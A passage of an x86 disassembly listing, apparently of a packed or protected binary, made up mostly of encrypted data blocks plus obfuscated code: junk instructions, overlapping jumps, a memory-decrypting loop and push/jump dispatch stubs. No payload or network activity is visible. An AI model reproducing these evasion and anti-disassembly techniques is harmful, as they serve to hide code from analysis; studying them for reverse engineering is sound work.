		dd 60D6A04Ah, 959F9032h
		dd 0A574D555h, 44D6A04Ah, 0C4B7F7AAh, 7F91305Ch, 0F3A321FDh
		dd 310D8F87h, 0F7D51DB3h, 0A04A2763h, 903260D6h, 4FB4E09Fh
		dd 0B1116856h, 4ABF5B02h, 7860D6A0h, 0F74339DCh, 4FE17CEAh
		dd 0DA8C42B5h, 0FDBDF486h, 17305CC4h, 4A67A58Dh, 3260D6A0h
		dd 7E439F90h, 8533706Bh, 0BF5B0205h, 4FE0A04Ah,	0BD3D12Dh
		dd 550B991Bh, 0A04A2763h, 0EE7860D6h, 5CC4F3B3h, 0C7871D30h
		dd 4EE24ECEh, 92613F14h, 1203CB5Bh, 0A530B292h,	0DFBB966Eh
		dd 23E14958h, 4ABF5B02h, 0A944D6A0h, 4DAACD67h,	0E0A0D13Ah
		dd 30305C14h, 0B614DC72h, 0A04A2763h, 903260D6h, 0B28FE9Fh
		dd 0A04A4E25h, 0AC420ED6h, 57B972D2h, 7F4F44B6h, 19B5B02h
		dd 5CC51090h, 56A20030h, 0B3EE7874h, 305CC4F3h,	0D2B1C5E4h
		dd 5F37C463h, 13A12373h, 1F59F327h, 492BC18Dh, 276323E1h
		dd 66D4A64Ah, 70FBED78h, 6808EABEh, 0EF37B5ECh,	0C7C11DD5h
		dd 0A87FD1Fh, 305BE38Ah, 0BA8A188Ah, 4AC2C028h,	3260D6A0h
		dd 2B11190h, 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h,	791EB0Fh
		dd 7DC1BB5Fh, 75CDA060h, 982E9B1Ch, 9D611B3Ch, 63992B07h
		dd 0C0B15B03h, 4478B7F7h, 64B84EC5h, 8130925Eh,	28B43201h
		dd 2CA87406h, 12906C0Eh, 4A16B47Ch, 6360D6A0h, 0FD1B6A03h
		dd 0CF234728h, 0E220A163h, 5CC51F9Fh, 0B1112F30h, 15BF5B02h
		dd 0D4A64AB5h, 9F903266h, 305CC51Fh, 2B1112Fh, 0DC78BF5Bh
		dd 0CEEA46C4h, 63E2502Ah, 24E96A03h, 4D8BCDBEh,	18127E5h
		dd 0A64A9032h, 903266D4h, 0EE780181h, 1FAED066h, 94A68E7Fh
		dd 0DBAA8610h, 305BFBD7h, 63F56B39h, 0D0A64A27h, 469E1C74h
		dd 0C54D4D3Ch, 0DDC7305Ch, 0EE78994Fh, 5CC4F3B3h, 3FBDD530h
		dd 0F3B1DDE7h, 1508BA07h, 6EDC3591h, 0C222B0CAh, 815A68C0h
		dd 21E08825h, 0B333E1F5h, 0ED784547h, 514EE54Bh, 0D509E1FAh
		dd 780181EFh, 0E298D7EDh, 6DC5B0CDh, 5B4A9331h,	0FCB54FD9h
		dd 305CC4BCh, 8E06849Ch, 63EEDC14h, 0D6A04A27h,	20903260h
		dd 0D6A04AE2h, 4A276360h, 7860D6A0h, 60A956EDh,	5C947131h
		dd 7401A330h, 67B18AFh,	305BE286h, 0AA86148Eh, 1F9F4C76h
		dd 0B305CC5h, 0D5CFC072h, 13DFBF4Dh, 0DCA54AB1h, 73FD5918h
		dd 73D361D6h, 5AFFB347h, 0D5B08C22h, 27D81AC3h,	21A3F35Bh
		dd 0D141C494h, 5D95B3FFh, 0BF5B026Fh, 60D6A04Ah, 0F3B3EE78h
		dd 1D305CC4h, 0B826AB87h, 0EA7CFE1Ch, 5CC4F7B7h, 0AF8B1930h
		dd 0D1A04A1Dh, 3E2E716Bh, 0DC6EFC96h, 549CDE70h, 9F903276h
		dd 305CC51Fh, 2B1112Fh,	0A04ABF5Bh, 0C4DFDFD2h,	7331305Ch
		dd 27636FDDh, 90320181h, 60D6A04Ah, 8BB8ED78h, 3AD3A94Ch
		dd 0B6821E90h, 3BD26C7Ah, 0EB27C336h, 34742579h, 0DC305C41h
		dd 0C11D5FF0h, 0C7C52DC3h, 0EE780181h, 49F54457h, 0CFC60862h
		dd 0FD1FBF4Dh, 0D2D6B783h, 42305BF2h, 363F260h,	78C4B45Bh
		dd 4A3C8E6Ah, 6360D6A0h, 32018127h, 4AB51590h, 0AB42D4A6h
		dd 0CA1AA213h, 32905824h, 0F928B432h, 200DBF7Bh, 35752CC6h
		dd 25305CC5h, 5CC52C6Ch, 0D6BEE430h, 4AA664CCh,	6366D4A6h
		dd 0D4A64A27h, 1AB43266h, 5CC52767h, 7FBBE930h,	3BDC784Dh
		dd 0BE7FD41h, 5CC53A7Ah, 68952030h, 83037EB3h, 8D305C9Eh
		dd 0D5DE8617h, 11A664CCh, 0BF5B02B1h, 0A1D0A64Ah, 305CC4E1h
		dd 6DE37133h, 0ED782763h, 0B0B3DDE6h, 6256A27Ch, 801AACCEh
		dd 5C6F9111h, 0C9218330h, 9F9032FBh, 305CC51Fh,	3729720Bh
		dd 572FC32Eh, 0B111299Bh, 4ABF5B02h, 9A42D4A6h,	0AA380476h
		dd 27637C4Eh, 0C5890978h, 198B305Ch, 90320876h,	66D4A64Ah
		dd 1819032h, 0C5850978h, 158F305Ch, 782763A7h, 0F43C3EDCh
		dd 984E2CC0h, 46C4DC78h, 81A3E7EAh, 78903201h, 4AED4FEDh
		dd 1A2AB425h, 0D902F4Ah, 0A7480CA2h, 0BF7B09D5h, 87036644h
		dd 4D85A4Ah, 189A8A22h,	0C4D1EE95h, 0C40305Ch, 0B93018D3h
		dd 2FD45495h, 3ACh, 0F654F600h,	0FD7A14Ah, 77CFA943h, 78C4B45Bh
		dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h
		dd 55A9D367h, 0D338685Eh, 17E907F0h, 0FDFFF874h, 27B4CE93h
		dd 0FD0FB7F9h
		db 0A9h, 0EEh, 7Dh
; ---------------------------------------------------------------------------


loc_604573:				; CODE XREF: sdfs____:loc_6010EDj
		call	near ptr loc_60457C+1
		mov	ch, 38h
		mov	ah, 0F9h


loc_60457C:				; CODE XREF: sdfs____:loc_604573p
		not	byte ptr [edx+0Fh]
		test	[edx], eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	bl, 0C1h
		pop	edi
		pop	edx
		jmp	loc_60459D
; ---------------------------------------------------------------------------
		db 6Bh,	3Ch, 0ACh
		dd 0DE7328C0h, 0A57FA2FDh, 92E231A7h
		db 44h
; ---------------------------------------------------------------------------


loc_60459D:				; CODE XREF: sdfs____:00604588j
		add	edx, 6A02h
		jl	loc_6045AB
		mov	ebx, edi


loc_6045AB:				; CODE XREF: sdfs____:006045A3j
		mov	eax, 280E2C34h
		add	eax, 0D7F1EE1Ch
		push	ebx
		jmp	loc_6045C7
; ---------------------------------------------------------------------------
		sbb	[ebx-2D90BC83h], ah
		mov	dh, 4Eh
		adc	cl, [ecx-78h]


loc_6045C7:				; CODE XREF: sdfs____:006045B7j
		pop	esi


loc_6045C8:				; CODE XREF: sdfs____:00604634j
		push	dword ptr [edx]
		mov	ebx, ecx
		pop	ecx
		add	esi, 40B36ED9h
		add	ecx, 232696C9h
		adc	bx, 33Bh
		sub	ecx, 253BD49h
		or	si, 0F582h
		sub	ecx, 5984A1D5h
		clc
		push	ecx
		push	edx
		jmp	loc_60460B
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0BF914758h, 0EA87BCB3h, 0D2088555h, 8F614849h
		db 34h,	0A7h, 26h
; ---------------------------------------------------------------------------


loc_60460B:				; CODE XREF: sdfs____:006045F2j
		pop	esi
		pop	dword ptr [edx]
		cld
		sub	edx, 2
		jmp	loc_604621
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0E05A83BAh, 5C6137C2h
		db 36h
; ---------------------------------------------------------------------------


loc_604621:				; CODE XREF: sdfs____:00604612j
		dec	edx
		dec	edx
		jmp	loc_604633
; ---------------------------------------------------------------------------
		dd 0A978AFE1h, 1D93FA93h
		db 0AEh, 0D2h, 0BFh
; ---------------------------------------------------------------------------


loc_604633:				; CODE XREF: sdfs____:00604623j
		dec	eax
		jnz	loc_6045C8
		mov	di, 0CD9Bh
		call	sub_60464B
		pop	ds
		xchg	eax, ebx
		adc	[ebp+4B2E3588h], dh

; =============== S U B	R O U T	I N E =======================================



sub_60464B	proc near		; CODE XREF: sdfs____:0060463Ep

; FUNCTION CHUNK AT 00604697 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 006046BD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0060470F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 006054EC SIZE 00000009 BYTES

		mov	edi, 2D6F76FEh
		pop	edx
		mov	ah, cl
		add	edx, 0D9B9h
		push	3647h
		mov	eax, 7FB25D20h
		pop	ebx
		call	near ptr sub_604671
		loop	loc_604697
		fild	qword ptr [eax+354BBE4Ah]
sub_60464B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_604671	proc far		; CODE XREF: sub_60464B+19p

; FUNCTION CHUNK AT 0060468D SIZE 0000000A BYTES

		movzx	esi, si
		pop	eax


loc_604675:				; CODE XREF: sub_60464B+85j
		push	dword ptr [edx]
		call	loc_604681
		jnz	short loc_60468D
		retf
sub_604671	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 25h
		db 89h
; ---------------------------------------------------------------------------


loc_604681:				; CODE XREF: sub_604671+6p
		mov	si, di
		pop	eax
		pop	ecx
		jmp	near ptr loc_60468F+1
; ---------------------------------------------------------------------------
		db 0BEh
		db 21h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_604671


loc_60468D:				; CODE XREF: sub_604671+Bj
		cmp	al, 0A2h


loc_60468F:				; CODE XREF: sdfs____:00604686j
		or	[ecx+143963F1h], al
		dec	eax
		stc
; END OF FUNCTION CHUNK	FOR sub_604671
; START	OF FUNCTION CHUNK FOR sub_60464B


loc_604697:				; CODE XREF: sub_60464B+1Ej
		add	ecx, 0EE08B09h
		xor	di, 0DAF6h
		sub	ecx, 7D28B206h
		movsx	esi, di
		push	ecx
		jmp	loc_6046BD
; END OF FUNCTION CHUNK	FOR sub_60464B
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+ecx+67A25589h], 39F7A4ECh
		popf
; START	OF FUNCTION CHUNK FOR sub_60464B


loc_6046BD:				; CODE XREF: sub_60464B+61j
		pop	dword ptr [edx]
		push	edx
		push	edx
		add	di, 0CBDCh
		pop	eax
		pop	esi
		sub	edx, 4
		mov	di, 21E3h
		dec	ebx
		jnz	loc_604675
		ja	loc_6046E4
		jle	loc_6046E4
		mov	ah, bl


loc_6046E4:				; CODE XREF: sub_60464B+8Bj
					; sub_60464B+91j
		jmp	loc_60470F
; END OF FUNCTION CHUNK	FOR sub_60464B
; ---------------------------------------------------------------------------
		db 0C9h, 3Ch, 35h
		dd 47h,	7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60464B


loc_60470F:				; CODE XREF: sub_60464B:loc_6046E4j
		jmp	loc_6054EC
; END OF FUNCTION CHUNK	FOR sub_60464B
; ---------------------------------------------------------------------------
		push	7F10BD5h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F10CC0h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F10D7Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F10E1Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1116Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1149Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F11584h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 41EAh
		dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h
		dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h,	0A7E79A04h
		dd 69286BBBh, 0A74A6D53h, 0F8A943D5h, 305CC4B8h, 0B2EE4A58h
		dd 0FD8FF106h, 71B9BB51h, 145BF26Ch, 0CC7901F1h, 77E2BF7Bh
		dd 26EDADE4h, 7D27305Ch, 75245DEFh, 4737B502h, 690B21ADh
		dd 1A9A0F95h, 0FA287302h, 29791DA8h, 1874FE9Ch,	3F722CD0h
		dd 2872FF7Fh, 0FF76366Bh, 49E2872h, 0B8841A88h,	72FEEDC9h
		dd 49159328h, 7B09D5A7h, 69AA53BFh, 8C1AA297h, 37D7h, 0A0B3F300h
		dd 13663A30h, 1AC2FF50h, 61FB890Bh, 0B4D36130h,	0F3535137h
		dd 72D3B612h, 7A6AA28h,	1AD0EADAh, 0FCB54F8Ch, 2872DFBCh
		dd 698E4E54h, 786DB17h,	0DC000000h, 92951h, 0ED78F100h
		dd 0D2E789D2h, 0A014DC78h, 0B814E88Ah, 0DA43E792h, 6F7DDB4Ah
		dd 1FB64FD9h, 4FD234BFh, 7F5165Bh, 22B0D2BEh, 0C15BCBD6h
		dd 5CBDD0D0h, 96624030h, 3DCF58DBh, 35FD7F91h, 0A49FFEB3h
		dd 0ADF737B5h, 0A514B051h, 44C82873h, 0FC8C74A5h, 25A18C19h
		dd 72326F11h, 0A22873ADh, 6B867200h, 35h, 30A0B37Fh, 5BCAD945h
		dd 0CF59EF1Ah, 0B4EB13D2h, 1178337h, 8F1DA77Fh,	141360FDh
		dd 0F7A92724h, 0A23EE73Bh, 46287354h, 0FEC613BAh, 788C1A50h
		dd 107h, 0E0A04A4Ah, 409C32B0h,	88ADE174h, 0CA865EECh
		dd 0F08E5620h, 6ABAC054h, 0C565255Ch, 0F5AF305Ch, 0D2F8B67h
		dd 0C57A3A77h, 6763305Ch, 338A365Eh, 18AEF498h,	0B872EE95h
		dd 608A305Ch, 0B7EA8416h, 305CB8F7h, 22AF8B19h,	0B2C64F6h
		dd 4E03E371h, 3AA234A3h, 0B5ED69EBh, 53EDFB37h,	4D22D8BAh
		dd 0F23EFA3Ch, 0B562C013h, 9A2C7637h, 8D778803h, 22AB24AEh
		dd 0E859EC59h, 0C6E8C62h, 0D41CB230h, 0C9B96C9h, 0D264E07Ah
		dd 22027C9Eh, 0B03212A0h, 34BB8978h, 0A32B2FC7h, 5539F173h
		dd 0FC11BD4Fh, 0E357EE78h, 4749B1Fh, 9913AA38h,	32BF7B5Eh
		dd 60097386h, 3C4A28ACh, 0B2CBFC70h, 9F00000Ah,	0C771FC7Ch
		dd 8A44933h, 0BF1994E6h, 0EC48E567h, 2A823349h,	0EC88AD0Dh
		dd 3EBED741h, 8AF205B7h, 0D1A349EBh, 326F3B5Ch,	286BBA72h
		dd 4A3A68A2h, 0FC58D5A7h, 15911C5Eh, 8D45849h, 0F1B1E07Ah
		dd 23305CC4h, 0B31BA981h, 0ECA537A0h, 37B5AAEDh, 9927FFA5h
		dd 815D1F3Dh, 0CBB55B03h, 0AA429E6Fh, 1A262873h, 0FB5EA673h
		dd 0CA988C19h, 0E000000h, 71CD4F46h, 4A058773h,	420ED6A0h
		dd 7771CDAFh, 21BB74DEh, 0CE4502Eh, 5C16017Dh, 688D4930h
		dd 78236D0Bh, 2DC36DD3h, 393BD1C5h, 8FA22AB4h, 0A79311EDh
		dd 479FD973h, 66F067F2h, 0B56C982Bh, 69049E37h,	0BC4051FDh
		dd 1FBEB974h, 5BED83FDh, 0C7974F26h, 0AC39672Fh, 0EF153000h
		dd 0C8CFD4Fh, 42087A7h,	0D67E089Eh, 18B43943h, 0CCEA87F5h
		dd 0F43C4A07h, 9C74778h, 618A0000h, 1E329E17h, 0D167D15Ch
		dd 7AAA06AFh, 36DB75F8h, 0F831AF46h, 6E077598h,	0DC51D3C2h
		dd 109DDF70h, 49E496A4h, 87077A24h, 89286BB9h, 0A74A0D73h
		dd 6CE58D5h, 2EB488F2h,	29F577AEh, 0D17B5F9Bh, 67B15A7h
		dd 305CC586h, 0D1DC148Eh, 0D6A04A71h, 0CEA8420Eh, 8B118027h
		dd 346DFF68h, 37B59FC1h, 0DA6BB3F1h, 0D1B06D9Dh, 8A23520h
		dd 64CCAE4Ch, 62840F82h, 10928607h, 73C7DE86h, 4042A222h
		dd 0F45052B2h, 9ED21E9Ch, 2DBF28CBh, 5ADACB93h,	989F88Ah
		dd 0C376C562h, 5C464E2Eh, 0E69F1294h, 0C87E19C1h, 768440DAh
		dd 2DCF6904h, 1AA82C65h, 1B1AA99Fh, 269955F2h, 909h, 0D8552734h
		dd 13A2D87Ch, 40ED8FA1h, 0B73EBCD4h, 0E984F005h, 37DAB673h
		dd 150CA845h, 9DB21E97h, 54E652E3h, 0B8E28B2Ah,	6BB7C9C9h
		dd 53314B28h, 0AD2A04Ah, 394B9BE5h, 5CC54848h, 44DAC830h
		dd 9D0A25F8h, 9A73960Bh, 7DD937B5h, 0A8549CD8h,	53E460FAh
		dd 7288429h, 851FA975h,	739A8C0Ch, 0D21E8428h, 739A7333h
		dd 8A248028h, 5FF62873h, 0B14499A0h, 0DC697BCBh, 2109CE09h
		dd 0E476E10Ch, 0CC1EE6ADh, 0AE762C2Fh, 0BB668510h, 0CE18CC73h
		dd 0DAA4B662h, 4DDB535Fh, 0FCD3633Ch, 869h, 38B5C754h
		dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h,	0D77A56D3h
		dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah,	6BB72969h
		dd 0F3D1EB28h, 0A537A0B3h, 0B5B2A5ECh, 0EF376D37h, 0F51B4FE3h
		dd 9B29BB8Bh, 0E09ABE1Ah, 35AA491Ch, 0B316EEA3h, 0CA642873h
		dd 73B1D7D7h, 445D3928h, 1AC632C0h, 8896858Fh, 0CE60C14Ch
		dd 0BC5250ACh, 1C309C2Eh, 2C67275Ah, 0FBA92873h, 2F0B9965h
		dd 4DCFC7F3h, 48CCC5F1h, 4436D8F4h, 1739EAF8h, 0F9B8476h
		dd 5AFEB047h, 30B29220h, 33F594F8h, 5EC15A1Fh, 0DA9248D6h
		dd 0FEDAA944h, 728737Ch, 0B4ED7F10h, 28737D50h,	6B2B6640h
		dd 0A528737Dh, 68C469FFh, 0B76EB6C4h, 28737C23h, 15DF7E9Eh
		dd 5EFA7B01h, 857CC0BAh, 28737C39h, 0D125C4C8h,	7C4A4A47h
		dd 0D8CA2873h, 7C53534Eh, 0E7BD2873h, 0F18BAF0Bh, 950A297Ch
		dd 7C338E03h, 6CF92873h, 5F604E57h, 0F79B574Dh,	9FB31BADh
		dd 0B78301DDh, 0BAA78A7Bh, 97BB7C50h, 0E4DB25F6h, 0F450007Bh
		dd 0BCCA1A60h, 11C3C5C5h, 0C7554FB4h, 1B1366Bh,	2CA80000h
		dd 9BB77F5h, 0A537A0B3h, 0C8A9430Bh, 0CB07AF7Eh, 0FB37C52Bh
		dd 0B5B2670Ah, 463BD537h, 2873B346h, 4F42D4CEh,	2873B34Fh
		dd 6B17E3C1h, 1027AF39h, 220E9468h, 0B6F218C4h,	8200DC5Eh
		dd 0FB4B35DAh, 7EDA5BE9h, 0F48694DCh, 91009A28h, 2873B311h
		dd 7913A103h, 88A18FECh, 32FEC4F4h, 32507FEh, 0E22AF2Eh
		dd 0E597A56Fh, 4D44DE48h, 0A12D044Dh, 444443Dh,	0D6CCA12Dh
		dd 0F1B1E0BEh, 23A12D03h, 9307F381h, 5227FF79h,	77A14CC3h
		dd 75419D1Fh, 0BC1895E7h, 8600DC9Eh, 0FF4739DEh, 0A7C0DE5h
		dd 6FF3A34Eh, 4AE024C5h, 0BD198528h, 3943D599h,	0E149DFE5h
		dd 89552735h, 10AA3D34h, 0A24E2161h, 0A94D092Eh, 297B67D3h
		dd 1B831A84h, 0ADD412A9h, 33C6F23Eh, 7B91D97Fh,	99F25F9h
		dd 43D1AB4Dh, 0D1C81CA9h, 0C8ED4E4Dh, 0A287D9D9h, 0DB693B2Eh
		dd 0E70EC31Fh, 3AC8B246h, 2D7F16A0h, 24AD30DDh,	0F8BC4DA5h
		dd 182EA1C6h, 0A349EB8Ah, 0AC410DD1h, 0FD0374C8h, 0F082A85Ch
		dd 3B39D37Dh, 0C6B0F0A1h, 42602EA1h, 0A1C74F4Fh, 4DE3C12Eh
		dd 0A2353CF1h, 0C7119908h, 5DF92EA1h, 16668BBFh, 0DE26B4CEh
		dd 22806CC4h, 690B2193h, 66163995h, 6818329Eh, 0C222B0C2h
		dd 0C61E60F6h, 0DA0EAFD1h, 0E9FB4B35h, 69103C5Bh, 52E39DBFh
		dd 0DA2A54E6h, 3F7F32CCh, 0D12EA1C7h, 0AB4A67D3h, 0A3EFA234h
		dd 6D2EA1C6h, 1339A537h, 2B079D61h, 0ADE50AA6h,	9311ED8Fh
		dd 0B3E36BFDh, 0D0A5F931h, 0D7D7CA41h, 392EA1C6h, 31B3E36Bh
		dd 289809A3h, 82EA1C7h,	4AAF1B9Ah, 45FD6A0h, 0B5EC7EE9h
		dd 37B59E72h, 0EC6802A0h, 3C7C354Bh, 0D428739Fh, 26AE38CEh
		dd 0A7DA6CEEh, 28739EE7h, 32BF7B29h, 370F7186h,	0C256F762h
		dd 0C85E64B8h, 74A0433Eh, 710C2FCCh, 2387B55h, 38240CE5h
		dd 0CFEB9A6Ah, 502089BDh, 2EB852C5h, 69ED6FA6h,	566CB0C4h
		dd 0ABA4EB9Ah, 307227E2h, 284AE0ECh, 2300B781h,	0B78F24h
		dd 519h, 0C8651724h, 3B2C86Ch, 70FD7F91h, 0A74ECCC4h, 1994E075h
		dd 27CAA683h, 257CD855h, 8DA20EA7h, 44D642F3h, 0C8D2BB3Ah
		dd 6BB3D9D9h, 0A3013B28h, 0A537A0B3h
		dd 0CEAE430Bh, 0C5846C76h, 37B5A862h, 7312F2B0h, 2873A958h
		dd 0BA67060Ah, 8C19F84Ah, 0AFD167EFh, 0D42E43h,	9FB40000h
		dd 305CC573h, 0C4EAAAE7h, 782A305Ch, 3AD0B4EAh,	8E67873Fh
		dd 0CD63FF5Fh, 73F80D20h, 3E0A8D9h, 7230305Ch, 6A142692h
		dd 9AC25BCBh, 0B0AD9FB1h, 51E6BB77h, 1CB640DAh,	0B88DB581h
		dd 3160C9FEh, 305C2271h, 582901A3h, 305C2250h, 0B602E2C0h
		dd 8440DAA4h, 5E183276h, 966EFC86h, 86D9240Ch, 0D660FA71h
		dd 31862C3Fh, 0EEF58360h, 0CD29BCBEh, 0EA9B57B8h, 305CA1AEh
		dd 9BBC1886h, 12871DE1h, 305CA092h, 0F8922082h,	0A073336Eh
		dd 79D305Ch, 27A3576h, 0AD85908Dh, 3C349071h, 0DD34305Ch
		dd 0DBCB875Fh, 72928559h, 0D0F42FCBh, 0EB01CD29h, 0C32FB589h
		dd 0F892192Eh, 5C3C0D89h, 0B17A2730h, 11A4A655h, 0F84DE076h
		dd 112h, 0EC6EA62Eh, 0A0B38604h, 0A5ECA537h, 6D37B5B2h
		dd 0B2E3EF37h, 1B3C9832h, 0B36C2C65h, 0FEA42873h, 220E9468h
		dd 0FF6E84DFh, 0DEDED36Dh, 362873B2h, 6F22846Ch, 2873B32Bh
		dd 0BD8C861Fh, 6FFDA599h, 5C1DF83h, 951584F0h, 0B728736Dh
		dd 0EAB7DFA1h, 0C89B7796h, 0C45A2Ch, 32B08CEEh,	4A1409Ch
		dd 0E6287317h, 34742D53h, 0DC287317h, 0E0EC30C6h, 0E7D232B0h
		dd 924EAC4Dh, 9E37CF6Eh, 0D167E2B2h, 0B417E384h, 8C1A3A4Ch
		dd 2BAD54E1h, 4BB0DFBAh, 7CB2EFh, 0B3100000h, 0EBA630A7h
		dd 305CC4ABh, 0EBE73F65h, 65D33DBAh, 0B284A046h, 54DE911Ch
		dd 727E33C5h, 0D8305C67h, 7AAADE7Ch, 89E24F8h, 2F1FAE34h
		dd 7379F628h, 0A3FDE149h, 5BD9AEEEh, 0E83B6630h, 0C5E87DB5h
		dd 7EC654EAh, 5BF02B87h, 400C9630h, 7173D351h, 89B455B9h
		dd 5228CC69h, 0E1902ABCh, 305BEFA1h, 0EFF93173h, 5BF026B2h
		dd 0A2346E30h, 2F62103Ah, 305BF06Fh, 856D03A1h,	0A04A8A38h
		dd 0E5700ED6h, 8799BB8Ch, 71A58DEEh, 8A1499DBh,	0E7532DC2h
		dd 2EB82FCAh, 0BD9D1D94h, 2D77305Ch, 0CFAEE3C5h, 0C737B5A4h
		dd 0C0B14BDDh, 2873A4C0h, 0A9D36450h, 2FB94F55h, 73A53272h
		dd 68C0E228h, 0C22AA34h, 0D8109272h, 73A58D29h,	2ECF7328h
		dd 19FC13EDh, 20538Ch, 0B3770000h, 0ECA537A0h, 37B5AAEDh
		dd 7E27FFA5h, 2873AA62h, 8653FA06h, 8C19FB3Eh, 0B3B8h
		dd 0A04A0A00h, 0AF420ED6h, 0B74571CDh, 0BF5D79C5h, 155130BDh
		dd 57305CC0h, 0C2C2BFC5h, 52305CBFh, 8133C250h,	0D77F096Bh
		dd 0BCF03840h, 4FD94EE9h, 0B59F8352h, 17BF4937h, 87077A02h
		dd 8928739Fh, 7133DF1Bh, 198EA9FCh, 0C703128Fh,	0F1B32FC7h
		dd 225AFF67h, 383FE88h,	0F72087C6h, 87C5FABAh, 4881A20h
		dd 2FF785A8h, 0A62B0795h, 1C95E70Ah, 3C4BE612h,	0EA8D2232h
		dd 0D7000001h, 1FB93444h, 40EC81FBh, 0F721CCAEh, 24901D9Fh
		dd 52CA6B11h, 2450E5D5h, 76F62F89h, 0C2BA5DFFh,	96B8133h
		dd 0EAA70364h, 286BB0AAh, 4A72506Ah, 0FC58D5A7h, 31911C5Eh
		dd 0A537A0B3h, 0B5AAEDECh, 27FFA537h, 73AA627Eh, 53FA0628h
		dd 19FB3E86h, 0D3B88Ch,	4A0A0000h, 700ED6A0h, 0EB3B41D4h
		dd 90A511D9h, 0C68E18E4h, 0E4E54DCFh, 305CBF68h, 65086A80h
		dd 0F6445DF9h, 0AF8B1963h, 0CB93E10Bh, 0FB895527h, 5CC00686h
		dd 0E1900E30h, 305CBFA1h, 0DA33173h, 66F17C31h,	0F1A03AD4h
		dd 305CBFB1h, 50504163h, 0C0305CC0h, 0E19016E2h, 37B59ED2h
		dd 0F8B34260h, 413BDC7Dh, 35097385h, 128F19AFh,	2FC7C95Ch
		dd 1CB85250h, 25BF8705h, 0DE73DBCDh, 0CF97179Eh, 3F9B5729h
		dd 0B9D7621Ah, 0C53C4BE2h, 1035609h, 2DCE0000h,	0E276A253h
		dd 95BB1598h, 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh
		dd 0E08D0F06h, 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286BAFh
		dd 0A74A493Fh, 34CE58D5h, 5CC53D7Dh, 65CDD730h,	54D99BB1h
		dd 0B3EE78EEh, 305CC4F3h, 0FAB871Dh, 7B393EDh, 82D98CF5h
		dd 5F0DBBDEh, 0DE26A6FFh, 0E4BF36C4h, 804CDE49h, 0C620086Ah
		dd 4CDF1ECBh, 98327038h, 945C1E3Ch, 9CDE7C58h, 61FB9511h
		dd 6ADF7030h, 8F02A028h, 286ADF0Fh, 0DF0686FBh,	940E286Ah
		dd 6A4EAAF8h, 8924B6C0h, 8283437Eh, 8A48CE8h, 0A7969B99h
		dd 6CE5868h, 83FE88F2h,	0E7A79703h, 375B970Dh, 0BEB85296h
		dd 5778537h, 1227AF39h,	0FA2A8E6Ah, 4D73A478h, 0A0D278ACh
		dd 8A07910Dh, 0E7A7970Ah, 6450980Ah, 18392D6h, 1E3C9373h
		dd 46000000h, 47C5DC78h, 0B70DE5FFh, 66265BF5h,	66305CC5h
		dd 4F55A9D3h, 0B6C66B47h, 6AC6546Eh, 0D7A14A58h, 0CFA9430Fh
		dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h
		dd 0B3CD636Fh, 0A9D36753h
; ---------------------------------------------------------------------------
		push	ebp
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 7F109A0h
		push	eax
		pop	esi
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 4B011A97h
		pop	dword ptr [eax+8]
		sub	dword ptr [eax+8], 4B011A97h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0F066h
		dd 0CEF181D7h, 793B4C0Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60464B


loc_6054EC:				; CODE XREF: sub_60464B:loc_60470Fj
		mov	eax, 7F116ACh
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_60464B
; ---------------------------------------------------------------------------
		test	ch, bl
		push	6D7C3951h
		pop	ds
		assume ds:nothing
		fcomp	qword ptr [eax+55181046h]
		or	[ecx+ebp*8+68h], ah
		mov	dh, 21h
		xchg	eax, esp
		sal	byte ptr [edi+34C1B46Ah], 48h
		jmp	loc_605602
; ---------------------------------------------------------------------------
		align 4
		dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h,	10ED7C90h
		dd 7C90h, 276F2h, 5 dup(0)
		dd 0ADA00000h, 7C80h, 2Bh dup(0)
		dd 60000h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_605602:				; CODE XREF: sdfs____:00605511j
		adc	[ecx], esi
		pushf
		cmc
		stosd
		wait
		dec	edx
		mov	ebx, 0B31A3BF9h
		xchg	eax, ecx
